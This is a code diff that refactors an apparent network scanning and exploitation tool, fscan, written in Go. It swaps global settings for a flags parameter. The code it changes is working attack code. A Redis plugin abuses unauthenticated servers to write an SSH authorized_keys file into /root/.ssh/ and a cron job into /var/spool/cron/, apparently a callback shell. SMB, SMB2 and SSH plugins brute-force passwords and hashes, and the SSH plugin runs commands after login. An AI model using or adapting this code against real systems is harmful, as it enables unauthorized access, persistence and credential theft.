err = Expoilt(realhost, conn)
|
||||
err = Expoilt(realhost, conn, flags.RedisShell)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -96,7 +97,7 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
@ -119,23 +120,23 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
err = Expoilt(realhost, conn)
|
||||
err = Expoilt(realhost, conn, flags.RedisShell)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
func Expoilt(realhost string, conn net.Conn, redisShell string) error {
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flagSsh == true {
|
||||
if flagSsh {
|
||||
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, common.RedisFile)
|
||||
if redisShell != "" {
|
||||
writeok, text, err := writekey(conn, redisShell)
|
||||
if err != nil {
|
||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
||||
fmt.Printf("[-] %s SSH write key errer: %s", realhost, text)
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
@ -147,11 +148,11 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true {
|
||||
if flagCron {
|
||||
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, common.RedisShell)
|
||||
if redisShell != "" {
|
||||
writeok, text, err := writecron(conn, redisShell)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -169,7 +170,7 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
@ -178,7 +179,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
@ -205,7 +206,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
@ -228,7 +229,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
||||
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
@ -237,7 +238,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
@ -260,8 +261,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
@ -315,7 +315,7 @@ func readreply(conn net.Conn) (result string, err error) {
|
||||
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
var text string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
@ -326,7 +326,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
@ -341,7 +341,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
}
|
||||
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -355,7 +355,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
|
||||
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -377,16 +377,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dbfilename, err = readreply(conn)
|
||||
if err != nil {
|
||||
|
||||
if _, err = readreply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dir, err = readreply(conn)
|
||||
if err != nil {
|
||||
|
||||
if _, err = readreply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
|
@ -2,58 +2,59 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
func Scan(info common.HostInfo, flags common.Flags) {
|
||||
fmt.Println("start infoscan")
|
||||
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
|
||||
Hosts, err := common.ParseIP(&info.HostPort, info.Host, flags.HostFile, flags.NoHosts)
|
||||
if err != nil {
|
||||
fmt.Println("len(hosts)==0", err)
|
||||
return
|
||||
}
|
||||
lib.Inithttp(common.Pocinfo)
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
lib.Inithttp(flags)
|
||||
var ch = make(chan struct{}, flags.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
web := strconv.Itoa(common.PORTList["web"])
|
||||
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
|
||||
if len(Hosts) > 0 || len(common.HostPort) > 0 {
|
||||
if common.NoPing == false && len(Hosts) > 0 {
|
||||
Hosts = CheckLive(Hosts, common.Ping)
|
||||
if len(Hosts) > 0 || len(info.HostPort) > 0 {
|
||||
if flags.NoPing == false && len(Hosts) > 0 {
|
||||
Hosts = CheckLive(Hosts, flags.Ping, flags.LiveTop)
|
||||
color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts))
|
||||
}
|
||||
if common.Scantype == "icmp" {
|
||||
if flags.Scantype == "icmp" {
|
||||
common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
common.GC()
|
||||
|
||||
var AlivePorts []string
|
||||
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
|
||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
||||
} else if common.Scantype == "hostname" {
|
||||
if flags.Scantype == "webonly" || flags.Scantype == "webpoc" {
|
||||
AlivePorts = NoPortScan(Hosts, info.Ports, flags)
|
||||
} else if flags.Scantype == "hostname" {
|
||||
info.Ports = "139"
|
||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
||||
AlivePorts = NoPortScan(Hosts, info.Ports, flags)
|
||||
} else if len(Hosts) > 0 {
|
||||
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
|
||||
AlivePorts = PortScan(Hosts, info.Ports, flags)
|
||||
color.Cyan("[*] alive ports len is: %d", len(AlivePorts))
|
||||
if common.Scantype == "portscan" {
|
||||
if flags.Scantype == "portscan" {
|
||||
common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
}
|
||||
if len(common.HostPort) > 0 {
|
||||
AlivePorts = append(AlivePorts, common.HostPort...)
|
||||
if len(info.HostPort) > 0 {
|
||||
AlivePorts = append(AlivePorts, info.HostPort...)
|
||||
AlivePorts = common.RemoveDuplicate(AlivePorts)
|
||||
common.HostPort = nil
|
||||
info.HostPort = nil
|
||||
color.Cyan("[*] AlivePorts len is:", len(AlivePorts))
|
||||
}
|
||||
common.GC()
|
||||
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _, port := range common.PORTList {
|
||||
severports = append(severports, strconv.Itoa(port))
|
||||
@ -61,53 +62,54 @@ func Scan(info common.HostInfo) {
|
||||
fmt.Println("start vulscan")
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if common.Scantype == "all" || common.Scantype == "main" {
|
||||
if flags.Scantype == "all" || flags.Scantype == "main" {
|
||||
switch {
|
||||
case info.Ports == "135":
|
||||
AddScan(info.Ports, info, &ch, &wg) //findnet
|
||||
if common.IsWmi {
|
||||
AddScan("1000005", info, &ch, &wg) //wmiexec
|
||||
AddScan(info.Ports, info, flags, &ch, &wg) //findnet
|
||||
if flags.IsWmi {
|
||||
AddScan("1000005", info, flags, &ch, &wg) //wmiexec
|
||||
}
|
||||
case info.Ports == "445":
|
||||
AddScan(ms17010, info, &ch, &wg) //ms17010
|
||||
AddScan(ms17010, info, flags, &ch, &wg) //ms17010
|
||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
||||
//AddScan("1000002", info, ch, &wg) //smbghost
|
||||
case info.Ports == "9000":
|
||||
AddScan(web, info, &ch, &wg) //http
|
||||
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
|
||||
AddScan(web, info, flags, &ch, &wg) //http
|
||||
AddScan(info.Ports, info, flags, &ch, &wg) //fcgiscan
|
||||
case IsContain(severports, info.Ports):
|
||||
AddScan(info.Ports, info, &ch, &wg) //plugins scan
|
||||
AddScan(info.Ports, info, flags, &ch, &wg) //plugins scan
|
||||
default:
|
||||
AddScan(web, info, &ch, &wg) //webtitle
|
||||
AddScan(web, info, flags, &ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
scantype := strconv.Itoa(common.PORTList[common.Scantype])
|
||||
AddScan(scantype, info, &ch, &wg)
|
||||
scantype := strconv.Itoa(common.PORTList[flags.Scantype])
|
||||
AddScan(scantype, info, flags, &ch, &wg)
|
||||
}
|
||||
}
|
||||
}
|
||||
common.GC()
|
||||
for _, url := range common.Urls {
|
||||
|
||||
for _, url := range flags.Urls {
|
||||
info.Url = url
|
||||
AddScan(web, info, &ch, &wg)
|
||||
AddScan(web, info, flags, &ch, &wg)
|
||||
}
|
||||
common.GC()
|
||||
|
||||
wg.Wait()
|
||||
common.LogWG.Wait()
|
||||
close(common.Results)
|
||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
||||
|
||||
fmt.Printf("Finished %d/%d", common.End, common.Num)
|
||||
}
|
||||
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
||||
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
*ch <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
Mutex.Lock()
|
||||
common.Num += 1
|
||||
Mutex.Unlock()
|
||||
ScanFunc(&scantype, &info)
|
||||
ScanFunc(scantype, info, flags)
|
||||
Mutex.Lock()
|
||||
common.End += 1
|
||||
Mutex.Unlock()
|
||||
@ -116,9 +118,9 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.
|
||||
}()
|
||||
}
|
||||
|
||||
func ScanFunc(name *string, info *common.HostInfo) {
|
||||
f := reflect.ValueOf(PluginList[*name])
|
||||
in := []reflect.Value{reflect.ValueOf(info)}
|
||||
func ScanFunc(name string, info common.HostInfo, flags common.Flags) {
|
||||
f := reflect.ValueOf(PluginList[name])
|
||||
in := []reflect.Value{reflect.ValueOf(info), reflect.ValueOf(flags)}
|
||||
f.Call(in)
|
||||
}
|
||||
|
||||
|
@ -3,25 +3,26 @@ package Plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
)
|
||||
|
||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return nil
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := doWithTimeOut(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := doWithTimeOut(info, flags, user, pass)
|
||||
if flag && err == nil {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
|
||||
if flags.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, flags.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||
}
|
||||
@ -35,7 +36,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -44,7 +45,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
options := smb.Options{
|
||||
@ -52,7 +53,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: common.Domain,
|
||||
Domain: flags.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
@ -67,15 +68,15 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func doWithTimeOut(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, signal)
|
||||
flag, err = SmblConn(info, flags, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(common.Timeout) * time.Second):
|
||||
case <-time.After(time.Duration(flags.Timeout) * time.Second):
|
||||
return false, errors.New("time out")
|
||||
}
|
||||
}
|
||||
|
@ -2,39 +2,40 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
func SmbScan2(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return nil
|
||||
}
|
||||
hasprint := false
|
||||
starttime := time.Now().Unix()
|
||||
hash := common.HashBytes
|
||||
hash := flags.HashBytes
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
PASS:
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
|
||||
flag, err, flag2 := Smb2Con(info, flags, user, pass, hash, hasprint)
|
||||
if flag2 {
|
||||
hasprint = true
|
||||
}
|
||||
if flag == true {
|
||||
if flag {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
if flags.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
result += "hash: " + flags.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
@ -42,8 +43,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
|
||||
return err
|
||||
} else {
|
||||
var errlog string
|
||||
if len(common.Hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
|
||||
if len(flags.Hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, flags.Hash, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
}
|
||||
@ -53,11 +54,11 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) > 0 {
|
||||
if len(flags.Hash) > 0 {
|
||||
break PASS
|
||||
}
|
||||
}
|
||||
@ -65,8 +66,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
|
||||
func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -77,7 +78,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
|
||||
}
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: user,
|
||||
Domain: common.Domain,
|
||||
Domain: flags.Domain,
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
initiator.Hash = hash
|
||||
@ -99,13 +100,13 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
|
||||
}
|
||||
if !hasprint {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
if flags.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
result += "hash: " + flags.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
@ -126,51 +127,5 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
|
||||
defer f.Close()
|
||||
flag = true
|
||||
return
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
|
||||
}
|
||||
|
||||
//if info.Path == ""{
|
||||
//}
|
||||
//path = info.Path
|
||||
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//flag = true
|
||||
//_, err = f.Seek(0, io.SeekStart)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//flag = true
|
||||
//
|
||||
//_, err = f.Write([]byte("Hello world!"))
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//
|
||||
//_, err = f.Seek(0, io.SeekStart)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
|
@ -3,24 +3,25 @@ package Plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["ssh"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := SshConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := SshConn(info, flags, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
@ -29,11 +30,11 @@ func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if common.SshKey != "" {
|
||||
if flags.SshKey != "" {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -41,12 +42,12 @@ func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
Auth := []ssh.AuthMethod{}
|
||||
if common.SshKey != "" {
|
||||
pemBytes, err := ioutil.ReadFile(common.SshKey)
|
||||
var Auth []ssh.AuthMethod
|
||||
if flags.SshKey != "" {
|
||||
pemBytes, err := os.ReadFile(flags.SshKey)
|
||||
if err != nil {
|
||||
return false, errors.New("read key failed" + err.Error())
|
||||
}
|
||||
@ -62,7 +63,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: Auth,
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
Timeout: time.Duration(flags.Timeout) * time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
@ -76,16 +77,16 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
||||
defer session.Close()
|
||||
flag = true
|
||||
var result string
|
||||
if common.Command != "" {
|
||||
combo, _ := session.CombinedOutput(common.Command)
|
||||
if flags.Command != "" {
|
||||
combo, _ := session.CombinedOutput(flags.Command)
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
if common.SshKey != "" {
|
||||
if flags.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
if common.SshKey != "" {
|
||||
if flags.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
|
@ -5,7 +5,6 @@ import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
@ -19,23 +18,23 @@ import (
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
if common.Scantype == "webpoc" {
|
||||
WebScan.WebScan(info)
|
||||
func WebTitle(info common.HostInfo, flags common.Flags) error {
|
||||
if flags.Scantype == "webpoc" {
|
||||
WebScan.WebScan(info, flags)
|
||||
return nil
|
||||
}
|
||||
err, CheckData := GOWebTitle(info)
|
||||
err, CheckData := GOWebTitle(info, flags)
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
||||
|
||||
if common.IsWebCan == false && err == nil {
|
||||
WebScan.WebScan(info)
|
||||
if flags.IsWebCan && err == nil {
|
||||
WebScan.WebScan(info, flags)
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
||||
func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData []WebScan.CheckDatas) {
|
||||
if info.Url == "" {
|
||||
switch info.Ports {
|
||||
case "80":
|
||||
@ -44,26 +43,26 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
|
